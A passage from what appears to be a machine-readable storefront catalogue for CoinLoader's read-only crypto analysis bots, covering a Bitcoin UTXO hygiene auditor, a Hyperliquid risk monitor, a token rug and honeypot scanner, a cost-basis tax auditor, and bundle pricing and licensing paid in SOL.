  - Fee planning: consolidation plan and cost-vs-savings matrix for P2WPKH or P2TR outputs with break-even future fee rate and a `CONSOLIDATION_WINDOW_OPEN` signal.
  - Privacy exposure: `ADDRESS_REUSE`, `CIOH_COSPEND_EXPOSURE`, `CIOH_CROSS_ADDRESS_LINK`, `ROUND_NUMBER_CHANGE_LEAK`, `SCRIPT_TYPE_MISMATCH_CHANGE` and a 0-100 hygiene score.
  - Non-custodial coin control: `bitcoin-cli lockunspent` freeze commands, an unsigned-PSBT `bitcoin-cli sendall ... psbt=true` consolidation command and Sparrow / Electrum steps, displayed for you to run yourself.
  - Stateful delta monitor (`--state PATH --delta`): `NEW_DUST`, `UTXO_COUNT_CHANGED`, `CONSOLIDATION_WINDOW_OPEN` events, with `--format text|markdown|json` output and exit codes 0 clean / 1 MEDIUM / 2 HIGH / 3 CRITICAL / 10 bad input / 11 degraded sources. 1,242 lines stdlib Python, 157 passing unit tests.
- **Boundaries:**
  - Strictly read-only (public Mempool.space / Blockstream Esplora GET endpoints): never accepts private keys, WIF, extended private keys, seed phrases or PSBTs, and never builds, signs or broadcasts a transaction.
  - Heuristics are probabilistic and cover only the transactions and small UTXOs the report states it checked; "no findings" never means "private" or "safe to sweep".
  - Refuses to target third-party wallets for exploitation or deanonymisation, rank wallets by balance, or build dust-attack target lists. Not financial, legal, or tax advice.
- **Storefront Checkout URL:** https://coinloader.com/#card-btc-utxo-hygiene
- **Full Verbatim Sample:** https://coinloader.com/bots/btc-utxo-hygiene.html#sample-output and https://coinloader.com/llms-full.txt

### 1.10 Hyperliquid Perps, Funding & Liquidation Risk Monitor ($29 One-Time in SOL)
- **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com checkout modal)
- **Deliverable:** *Audit Hyperliquid perpetual positions, exact liquidation distance %, TP/SL stop coverage, cross-venue predicted funding APR (Hyperliquid vs Binance/Bybit), mark-oracle basis, and HLP vault posture — 100% read-only with zero API or wallet keys.*
- **SKU Identifier:** `hyperliquid-monitor`
- **Product Page URL:** https://coinloader.com/bots/hyperliquid-monitor.html
- **Runtime URL:** https://coinloader.com/runtime/hyperliquid_monitor.py (`SHA-256: d9b8b58b9be66617177c238b195c3393ec817dfc591366797fa30f582db7f952`, 1,312 lines Python 3 stdlib, 252 unit tests) + https://coinloader.com/runtime/bot_common.py (`SHA-256: d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`)
- **Included Skills:** `hyperliquid-monitor-setup`, `hyperliquid-monitor`
- **Storefront Checkout URL:** https://coinloader.com/#card-hyperliquid-monitor

### 1.11 Cross-Chain Token RugScore & Honeypot Scanner ($29 One-Time in SOL)
- **Status:** LIVE NOW ($29 USD in SOL, settled on-chain via CoinLoader.com checkout modal; also included at no extra cost in `defi-wallet-security-pack` ($59) and `pro-trader-perps-suite` ($69))
- **Deliverable:** *Read-only, deterministic 0-100 RugScore with risk tier and `audit_sha256` for Solana SPL / Token-2022 mints and Ethereum, Base & Arbitrum token contracts: mint/freeze authority, Token-2022 extension traps, holder concentration, proxy admins, opcode traps, source verification and liquidity.*
- **SKU Identifier:** `token-rugscore`
- **Product Page URL:** https://coinloader.com/bots/token-rugscore.html
- **Runtime URL:** https://coinloader.com/runtime/token_rugscore.py (SHA-256 `2f8190fa27904d2ebd67606bea6290f39048c7ab77a6557440fc8ff67a1d363f`; standalone zero-dependency Python 3.10+ CLI, `--json` / `--markdown` output, 1200x675 PNG audit receipts) + https://coinloader.com/runtime/bot_common.py (SHA-256 `dbbd8521357fedc348cf7dc102435d4412ea26487e08bf067038ba8c66c9bcd1`)
- **Included Skills:** `token-rugscore-setup`, `token-rugscore`
- **Rule IDs:** Solana `RS-SOL-01..05` (mint authority, freeze authority, Token-2022 extensions, holder concentration, liquidity depth); EVM `RS-EVM-01..04` (proxy admin, opcode traps, source verification, liquidity)
- **Risk tiers:** 0-24 LOW, 25-49 MODERATE, 50-74 HIGH, 75-100 CRITICAL
- **Boundaries:** strictly read-only; never asks for private keys or seed phrases; never builds, signs or broadcasts a transaction; never labels a token "safe", "audited" or "rug-proof"; not financial advice.
- **Storefront Checkout URL:** https://coinloader.com/#card-token-rugscore

### 1.12 Multi-Chain Cost-Basis, Wash-Sale & Tax Lot Auditor ($29 One-Time in SOL)
- **Status:** LIVE NOW ($29 USD in SOL, settled on-chain via CoinLoader.com checkout modal; also payable by card via Stripe Checkout)
- **Deliverable:** *Read-only, deterministic FIFO / LIFO / HIFO cost-basis audit with IRS Form 8949 / Schedule D compatible rows, short-term (< 365 days) vs long-term (>= 365 days) gains, wash-sale risk flags and an `audit_sha256`, from a normalized .json/.csv transaction export or a Solana, EVM or Bitcoin wallet address.*
- **SKU Identifier:** `cost-basis-ledger`
- **Product Page URL:** https://coinloader.com/bots/cost-basis-ledger.html
- **Runtime URL:** https://coinloader.com/runtime/cost_basis_ledger.py (SHA-256 `87c41f7e0b287d9ea64765e1fe6872ab72950474e156673fa0752ff4031a4824`; standalone zero-dependency Python 3 CLI, `--json` / `--markdown` / `--csv-out` output, 1200x675 PNG audit receipts) + https://coinloader.com/runtime/bot_common.py (SHA-256 `dbbd8521357fedc348cf7dc102435d4412ea26487e08bf067038ba8c66c9bcd1`)
- **Included Skills:** `cost-basis-ledger-setup`, `cost-basis-ledger`
- **Rule IDs:** `CB-WASH-01` (wash-sale 30-day rebuy), `CB-FEE-01` (unclaimed gas/network fees), `CB-LOT-01` (missing / zero cost basis), `CB-HIFO-01` (accounting-method tax delta), `CB-STLT-01` (330-364 day holding-period alert)
- **Risk tiers:** 0-24 LOW, 25-49 MEDIUM, 50-74 HIGH, 75-100 CRITICAL
- **Boundaries:** strictly read-only; never asks for private keys or seed phrases; never signs or broadcasts a transaction; `--wallet` without `--lots-file` uses a labelled sample ledger because public RPC history has no USD prices; wash-sale treatment of digital assets is unsettled; not tax, legal or financial advice.
- **Storefront Checkout URL:** https://coinloader.com/#card-cost-basis-ledger

## Value Bundles — Multi-Bot Packs (3 Live Bundle SKUs; One License Key Unlocks All Included Bots)

Bundle SKUs are priced in USD and paid in SOL via the same non-custodial checkout (`POST https://www.wattcoin.org/api/v1/agents/license/quote` with `sku: <bundle-sku>`, `source: "coinloader"`). A single bundle purchase returns **one** `wcl_<64-hex>` bearer license code that unlocks **every** member bot in the pack (up to 3 workspace-reset rebinds). The `/api/v1/agents/license/purchase` response also includes `included_skus` (member SKU list) and `bundle_templates` (an array of `{sku, name, template_url}` with one unlisted `https://x.ai/bot/<id>` Grok Bot template per member) so you can import every bot in the pack. Activate each imported bot on its Turn 1 with the same `wcl_...` code. Storefront section: https://coinloader.com/#bundles

### DeFi & Multi-Chain Wallet Security Pack ($59 in SOL, `sku: defi-wallet-security-pack`, 5-Bot Bundle — Save $66 vs $125 list)
- **Bundle Price:** $59.00 USD, paid in SOL at the live USD/SOL rate (individual list total: $125).
- **Included member SKUs (`included_skus`):** `solana-wallet-hygiene`, `solana-token-scanner`, `evm-approval-auditor`, `evm-contract-inspector`, `token-rugscore`
- **Members:**
  - Solana Wallet Hygiene Bot (`solana-wallet-hygiene`, $19 list): https://coinloader.com/bots/solana-wallet-hygiene.html
  - Retail Token Due-Diligence Bot (`solana-token-scanner`, $29 list): https://coinloader.com/bots/solana-token-scanner.html
  - EVM Wallet Approval & Permit2 Risk Auditor (`evm-approval-auditor`, $19 list): https://coinloader.com/bots/evm-approval-auditor.html
  - EVM Smart Contract & Proxy Inspector (`evm-contract-inspector`, $29 list): https://coinloader.com/bots/evm-contract-inspector.html
  - Cross-Chain Token RugScore & Honeypot Scanner (`token-rugscore`, $29 list, included at no extra cost): https://coinloader.com/bots/token-rugscore.html
- **License:** one `wcl_...` code unlocks all member bots in this bundle; the purchase response returns `bundle_templates` with a per-bot unlisted template URL.

### Pro Trader & Perps Risk Suite ($69 in SOL, `sku: pro-trader-perps-suite`, 5-Bot Bundle — Save $56 vs $125 list)
- **Bundle Price:** $69.00 USD, paid in SOL at the live USD/SOL rate (individual list total: $125).
- **Included member SKUs (`included_skus`):** `hyperliquid-monitor`, `solana-token-scanner`, `btc-utxo-hygiene`, `solana-wallet-hygiene`, `token-rugscore`
- **Members:**
  - Hyperliquid Perps, Funding & Liquidation Risk Monitor (`hyperliquid-monitor`, $29 list): https://coinloader.com/bots/hyperliquid-monitor.html
  - Retail Token Due-Diligence Bot (`solana-token-scanner`, $29 list): https://coinloader.com/bots/solana-token-scanner.html
  - Bitcoin Wallet & UTXO Privacy/Fee Hygiene Auditor (`btc-utxo-hygiene`, $19 list): https://coinloader.com/bots/btc-utxo-hygiene.html
  - Solana Wallet Hygiene Bot (`solana-wallet-hygiene`, $19 list): https://coinloader.com/bots/solana-wallet-hygiene.html
  - Cross-Chain Token RugScore & Honeypot Scanner (`token-rugscore`, $29 list, included at no extra cost): https://coinloader.com/bots/token-rugscore.html
- **License:** one `wcl_...` code unlocks all member bots in this bundle; the purchase response returns `bundle_templates` with a per-bot unlisted template URL.

### Token Launch Command Center ($49 in SOL, `sku: token-launch-command-center`, Flagship Launch Bundle)
- **Bundle Price:** $49.00 USD, paid in SOL at the live USD/SOL rate.
- **Included components:** Pump.fun Coin & Community Manager (`pumpfun-coin-manager` runtime), Social Hub Publisher engine with gated dispatcher, and the crypto launch preset.
- **Product Page URL:** https://coinloader.com/bots/token-launch-command-center.html
- **License:** one `wcl_...` code unlocks the whole launch workflow (up to 3 workspace-reset rebinds); read-only audit, lint, HMAC approval and dry-run dispatch, no keys and no auto-posting.


## 2. Canonical Documentation & Sister Storefront
- **WattCoin Agent Registry Reference:** https://www.wattcoin.org/llms.txt
- **Enterprise OSINT & Physical Infrastructure Agents:** https://botappstore.com/